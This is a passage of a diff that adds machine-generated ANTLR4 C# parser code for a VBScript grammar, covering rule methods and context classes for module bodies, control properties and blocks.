( Interpreter.AdaptivePredict(TokenStream,34,Context) ) { + case 1: + { + State = 500; + Match(WS); + } + break; + } + State = 521; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,39,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 513; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case NEWLINE: + { + State = 504; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 503; + Match(NEWLINE); + } + } + State = 506; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + break; + case INLINE_SEP: + { + State = 509; + ErrorHandler.Sync(this); + _alt = 1; + do { + switch (_alt) { + case 1: + { + { + State = 508; + Match(INLINE_SEP); + } + } + break; + default: + throw new NoViableAltException(this); + } + State = 511; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,36,Context); + } while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ); + } + break; + default: + throw new NoViableAltException(this); + } + State = 516; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,38,Context) ) { + case 1: + { + State = 515; + Match(WS); + } + break; + } + State = 518; + moduleBodyElement(); + } + } + } + State = 523; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,39,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleBodyElementContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ModuleBlockContext moduleBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ModuleOptionContext moduleOption() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public DeclareStmtContext declareStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ClassStmtContext classStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EnumerationStmtContext enumerationStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public EventStmtContext eventStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public FunctionStmtContext functionStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PropertyGetStmtContext propertyGetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PropertySetStmtContext propertySetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public PropertyLetStmtContext propertyLetStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public SubStmtContext subStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public TypeStmtContext typeStmt() { + return GetRuleContext(0); + } + public ModuleBodyElementContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleBodyElement; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleBodyElement(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleBodyElement(this); + } + } + + [RuleVersion(0)] + public ModuleBodyElementContext moduleBodyElement() { + ModuleBodyElementContext _localctx = new ModuleBodyElementContext(Context, State); + EnterRule(_localctx, 26, RULE_moduleBodyElement); + try { + State = 536; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,40,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 524; + moduleBlock(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 525; + moduleOption(); + } + break; + case 3: + EnterOuterAlt(_localctx, 3); + { + State = 526; + declareStmt(); + } + break; + case 4: + EnterOuterAlt(_localctx, 4); + { + State = 527; + classStmt(); + } + break; + case 5: + EnterOuterAlt(_localctx, 5); + { + State = 528; + enumerationStmt(); + } + break; + case 6: + EnterOuterAlt(_localctx, 6); + { + State = 529; + eventStmt(); + } + break; + case 7: + EnterOuterAlt(_localctx, 7); + { + State = 530; + functionStmt(); + } + break; + case 8: + EnterOuterAlt(_localctx, 8); + { + State = 531; + propertyGetStmt(); + } + break; + case 9: + EnterOuterAlt(_localctx, 9); + { + State = 532; + propertySetStmt(); + } + break; + case 10: + EnterOuterAlt(_localctx, 10); + { + State = 533; + propertyLetStmt(); + } + break; + case 11: + EnterOuterAlt(_localctx, 11); + { + State = 534; + subStmt(); + } + break; + case 12: + EnterOuterAlt(_localctx, 12); + { + State = 535; + typeStmt(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ControlPropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGIN() { return GetToken(VBScriptParser.BEGIN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlTypeContext cp_ControlType() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_ControlIdentifierContext cp_ControlIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode END() { return GetToken(VBScriptParser.END, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public ControlPropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_controlProperties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterControlProperties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitControlProperties(this); + } + } + + [RuleVersion(0)] + public ControlPropertiesContext controlProperties() { + ControlPropertiesContext _localctx = new ControlPropertiesContext(Context, State); + EnterRule(_localctx, 28, RULE_controlProperties); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 539; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 538; + Match(WS); + } + } + + State = 541; + Match(BEGIN); + State = 542; + Match(WS); + State = 543; + cp_ControlType(); + State = 544; + Match(WS); + State = 545; + cp_ControlIdentifier(); + State = 547; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 546; + Match(WS); + } + } + + State = 550; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 549; + Match(NEWLINE); + } + } + State = 552; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 555; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 554; + cp_Properties(); + } + } + State = 557; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + State = 559; + Match(END); + State = 563; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,45,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 560; + Match(NEWLINE); + } + } + } + State = 565; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,45,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertiesContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public Cp_NestedPropertyContext cp_NestedProperty() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ControlPropertiesContext controlProperties() { + return GetRuleContext(0); + } + public Cp_PropertiesContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_Properties; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_Properties(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_Properties(this); + } + } + + [RuleVersion(0)] + public Cp_PropertiesContext cp_Properties() { + Cp_PropertiesContext _localctx = new Cp_PropertiesContext(Context, State); + EnterRule(_localctx, 30, RULE_cp_Properties); + try { + State = 568; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,46,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 566; + cp_NestedProperty(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + State = 567; + controlProperties(); + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertyNameContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext[] ambiguousIdentifier() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode OBJECT() { return GetToken(VBScriptParser.OBJECT, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] DOT() { return GetTokens(VBScriptParser.DOT); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOT(int i) { + return GetToken(VBScriptParser.DOT, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] LPAREN() { return GetTokens(VBScriptParser.LPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN(int i) { + return GetToken(VBScriptParser.LPAREN, i); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext[] literal() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] RPAREN() { return GetTokens(VBScriptParser.RPAREN); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN(int i) { + return GetToken(VBScriptParser.RPAREN, i); + } + public Cp_PropertyNameContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_PropertyName; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_PropertyName(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_PropertyName(this); + } + } + + [RuleVersion(0)] + public Cp_PropertyNameContext cp_PropertyName() { + Cp_PropertyNameContext _localctx = new Cp_PropertyNameContext(Context, State); + EnterRule(_localctx, 32, RULE_cp_PropertyName); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 572; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,47,Context) ) { + case 1: + { + State = 570; + Match(OBJECT); + State = 571; + Match(DOT); + } + break; + } + State = 574; + ambiguousIdentifier(); + State = 579; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 575; + Match(LPAREN); + State = 576; + literal(); + State = 577; + Match(RPAREN); + } + } + + State = 591; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + while (_la==DOT) { + { + { + State = 581; + Match(DOT); + State = 582; + ambiguousIdentifier(); + State = 587; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 583; + Match(LPAREN); + State = 584; + literal(); + State = 585; + Match(RPAREN); + } + } + + } + } + State = 593; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_PropertyValueContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode POW() { return GetToken(VBScriptParser.POW, 0); } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode DOLLAR() { return GetToken(VBScriptParser.DOLLAR, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LBRACE() { return GetToken(VBScriptParser.LBRACE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RBRACE() { return GetToken(VBScriptParser.RBRACE, 0); } + public Cp_PropertyValueContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_PropertyValue; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_PropertyValue(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_PropertyValue(this); + } + } + + [RuleVersion(0)] + public Cp_PropertyValueContext cp_PropertyValue() { + Cp_PropertyValueContext _localctx = new Cp_PropertyValueContext(Context, State); + EnterRule(_localctx, 34, RULE_cp_PropertyValue); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 595; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==DOLLAR) { + { + State = 594; + Match(DOLLAR); + } + } + + State = 604; + ErrorHandler.Sync(this); + switch (TokenStream.LA(1)) { + case FALSE: + case NOTHING: + case NULL: + case TRUE: + case STRINGLITERAL: + case DATELITERAL: + case HEXLITERAL: + case INTEGERLITERAL: + case DOUBLELITERAL: + case FILENUMBER: + case OCTALLITERAL: + { + State = 597; + literal(); + } + break; + case LBRACE: + { + { + State = 598; + Match(LBRACE); + State = 599; + ambiguousIdentifier(); + State = 600; + Match(RBRACE); + } + } + break; + case POW: + { + State = 602; + Match(POW); + State = 603; + ambiguousIdentifier(); + } + break; + default: + throw new NoViableAltException(this); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_NestedPropertyContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode BEGINPROPERTY() { return GetToken(VBScriptParser.BEGINPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ENDPROPERTY() { return GetToken(VBScriptParser.ENDPROPERTY, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode LPAREN() { return GetToken(VBScriptParser.LPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode INTEGERLITERAL() { return GetToken(VBScriptParser.INTEGERLITERAL, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode RPAREN() { return GetToken(VBScriptParser.RPAREN, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode GUID() { return GetToken(VBScriptParser.GUID, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext[] cp_Properties() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public Cp_PropertiesContext cp_Properties(int i) { + return GetRuleContext(i); + } + public Cp_NestedPropertyContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_NestedProperty; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_NestedProperty(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_NestedProperty(this); + } + } + + [RuleVersion(0)] + public Cp_NestedPropertyContext cp_NestedProperty() { + Cp_NestedPropertyContext _localctx = new Cp_NestedPropertyContext(Context, State); + EnterRule(_localctx, 36, RULE_cp_NestedProperty); + int _la; + try { + EnterOuterAlt(_localctx, 1); + { + State = 607; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 606; + Match(WS); + } + } + + State = 609; + Match(BEGINPROPERTY); + State = 610; + Match(WS); + State = 611; + ambiguousIdentifier(); + State = 615; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==LPAREN) { + { + State = 612; + Match(LPAREN); + State = 613; + Match(INTEGERLITERAL); + State = 614; + Match(RPAREN); + } + } + + State = 619; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==WS) { + { + State = 617; + Match(WS); + State = 618; + Match(GUID); + } + } + + State = 622; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 621; + Match(NEWLINE); + } + } + State = 624; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 631; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + if (_la==BEGIN || _la==BEGINPROPERTY || _la==WS) { + { + State = 627; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 626; + cp_Properties(); + } + } + State = 629; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==BEGIN || _la==BEGINPROPERTY || _la==WS ); + } + } + + State = 633; + Match(ENDPROPERTY); + State = 635; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 634; + Match(NEWLINE); + } + } + State = 637; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlTypeContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ComplexTypeContext complexType() { + return GetRuleContext(0); + } + public Cp_ControlTypeContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlType; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_ControlType(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_ControlType(this); + } + } + + [RuleVersion(0)] + public Cp_ControlTypeContext cp_ControlType() { + Cp_ControlTypeContext _localctx = new Cp_ControlTypeContext(Context, State); + EnterRule(_localctx, 38, RULE_cp_ControlType); + try { + EnterOuterAlt(_localctx, 1); + { + State = 639; + complexType(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class Cp_ControlIdentifierContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public AmbiguousIdentifierContext ambiguousIdentifier() { + return GetRuleContext(0); + } + public Cp_ControlIdentifierContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_cp_ControlIdentifier; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterCp_ControlIdentifier(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitCp_ControlIdentifier(this); + } + } + + [RuleVersion(0)] + public Cp_ControlIdentifierContext cp_ControlIdentifier() { + Cp_ControlIdentifierContext _localctx = new Cp_ControlIdentifierContext(Context, State); + EnterRule(_localctx, 40, RULE_cp_ControlIdentifier); + try { + EnterOuterAlt(_localctx, 1); + { + State = 641; + ambiguousIdentifier(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BlockSwitchContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public LineLabelContext lineLabel() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public InlineBlockContext inlineBlock() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockStmtContext blockStmt() { + return GetRuleContext(0); + } + public BlockSwitchContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_blockSwitch; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlockSwitch(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlockSwitch(this); + } + } + + [RuleVersion(0)] + public BlockSwitchContext blockSwitch() { + BlockSwitchContext _localctx = new BlockSwitchContext(Context, State); + EnterRule(_localctx, 42, RULE_blockSwitch); + try { + State = 651; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,62,Context) ) { + case 1: + EnterOuterAlt(_localctx, 1); + { + State = 643; + lineLabel(); + } + break; + case 2: + EnterOuterAlt(_localctx, 2); + { + { + State = 645; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,60,Context) ) { + case 1: + { + State = 644; + lineLabel(); + } + break; + } + State = 649; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,61,Context) ) { + case 1: + { + State = 647; + inlineBlock(); + } + break; + case 2: + { + State = 648; + blockStmt(); + } + break; + } + } + } + break; + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class BlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public BlockSwitchContext[] blockSwitch() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public BlockSwitchContext blockSwitch(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] NEWLINE() { return GetTokens(VBScriptParser.NEWLINE); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode NEWLINE(int i) { + return GetToken(VBScriptParser.NEWLINE, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + public BlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_block; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitBlock(this); + } + } + + [RuleVersion(0)] + public BlockContext block() { + BlockContext _localctx = new BlockContext(Context, State); + EnterRule(_localctx, 44, RULE_block); + int _la; + try { + int _alt; + EnterOuterAlt(_localctx, 1); + { + State = 653; + blockSwitch(); + State = 665; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,65,Context); + while ( _alt!=2 && _alt!=global::Antlr4.Runtime.Atn.ATN.INVALID_ALT_NUMBER ) { + if ( _alt==1 ) { + { + { + State = 655; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + do { + { + { + State = 654; + Match(NEWLINE); + } + } + State = 657; + ErrorHandler.Sync(this); + _la = TokenStream.LA(1); + } while ( _la==NEWLINE ); + State = 660; + ErrorHandler.Sync(this); + switch ( Interpreter.AdaptivePredict(TokenStream,64,Context) ) { + case 1: + { + State = 659; + Match(WS); + } + break; + } + State = 662; + blockSwitch(); + } + } + } + State = 667; + ErrorHandler.Sync(this); + _alt = Interpreter.AdaptivePredict(TokenStream,65,Context); + } + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class ModuleBlockContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public BlockContext block() { + return GetRuleContext(0); + } + public ModuleBlockContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_moduleBlock; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterModuleBlock(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.ExitModuleBlock(this); + } + } + + [RuleVersion(0)] + public ModuleBlockContext moduleBlock() { + ModuleBlockContext _localctx = new ModuleBlockContext(Context, State); + EnterRule(_localctx, 46, RULE_moduleBlock); + try { + EnterOuterAlt(_localctx, 1); + { + State = 668; + block(); + } + } + catch (RecognitionException re) { + _localctx.exception = re; + ErrorHandler.ReportError(this, re); + ErrorHandler.Recover(this, re); + } + finally { + ExitRule(); + } + return _localctx; + } + + public partial class AttributeStmtContext : ParserRuleContext { + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode ATTRIBUTE() { return GetToken(VBScriptParser.ATTRIBUTE, 0); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] WS() { return GetTokens(VBScriptParser.WS); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode WS(int i) { + return GetToken(VBScriptParser.WS, i); + } + [System.Diagnostics.DebuggerNonUserCode] public ImplicitCallStmt_InStmtContext implicitCallStmt_InStmt() { + return GetRuleContext(0); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode EQ() { return GetToken(VBScriptParser.EQ, 0); } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext[] literal() { + return GetRuleContexts(); + } + [System.Diagnostics.DebuggerNonUserCode] public LiteralContext literal(int i) { + return GetRuleContext(i); + } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode[] COMMA() { return GetTokens(VBScriptParser.COMMA); } + [System.Diagnostics.DebuggerNonUserCode] public ITerminalNode COMMA(int i) { + return GetToken(VBScriptParser.COMMA, i); + } + public AttributeStmtContext(ParserRuleContext parent, int invokingState) + : base(parent, invokingState) + { + } + public override int RuleIndex { get { return RULE_attributeStmt; } } + [System.Diagnostics.DebuggerNonUserCode] + public override void EnterRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) typedListener.EnterAttributeStmt(this); + } + [System.Diagnostics.DebuggerNonUserCode] + public override void ExitRule(IParseTreeListener listener) { + IVBScriptListener typedListener = listener as IVBScriptListener; + if (typedListener != null) 